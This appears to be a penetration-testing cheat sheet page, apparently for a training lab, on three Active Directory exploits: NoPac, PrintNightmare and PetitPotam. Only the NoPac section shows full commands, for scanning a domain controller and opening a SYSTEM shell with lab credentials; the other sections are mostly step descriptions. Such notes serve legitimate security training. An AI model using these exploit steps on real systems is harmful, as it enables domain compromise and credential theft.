githubEdit

22.Bleeding Edge Vulnerabilities

I. NoPac (SamAccountName Spoofing) - Domain Privilege Escalation

Purpose: Exploits CVE-2021-42278 and CVE-2021-42287 to elevate privileges to Domain Admin.

Impacket Setup (Required Dependencies)

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

NoPac Tool Retrieval

git clone https://github.com/Ridter/noPac.git
cd noPac

Vulnerability Scanning

sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

(Checks if the target domain controller is vulnerable)

Interactive Shell as SYSTEM

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

(Gains a shell with NT AUTHORITY\SYSTEM privileges)

DCSync (Domain Credential Extraction)

(Extracts domain credentials using DCSync)

Checking for Created Files

(Verifies the creation of .ccache files)


II. PrintNightmare (Print Spooler Vulnerability) - Remote Code Execution

Purpose: Exploits CVE-2021-34527 and CVE-2021-1675 to gain SYSTEM-level remote access.

Exploit Retrieval

Impacket Setup (cube0x0 Version)

Service Enumeration

(Verifies the Print Spooler service is active)

Payload Generation (Metasploit)

(Creates a reverse TCP Meterpreter payload)

SMB Share Setup

(Hosts the DLL payload on an SMB share)

Metasploit Listener Setup

(Starts a listener to catch the reverse shell)

Exploit Execution

(Triggers the Print Spooler vulnerability)

Meterpreter Interaction

(Drops into a SYSTEM shell)


III. PetitPotam (MS-EFSRPC) - Domain Compromise via NTLM Relay

Purpose: Exploits CVE-2021-36942 to coerce domain controller authentication for NTLM relay to AD CS.

NTLM Relay Setup

(Starts ntlmrelayx to relay authentication to AD CS)

Authentication Coercion

(Triggers the domain controller to authenticate)

TGT Request (PKINITtools)

(Requests a TGT for the domain controller)

KRB5CCNAME Setup

(Sets the Kerberos ticket cache)

DCSync (Credential Extraction)

(Extracts domain credentials using DCSync)

Last updated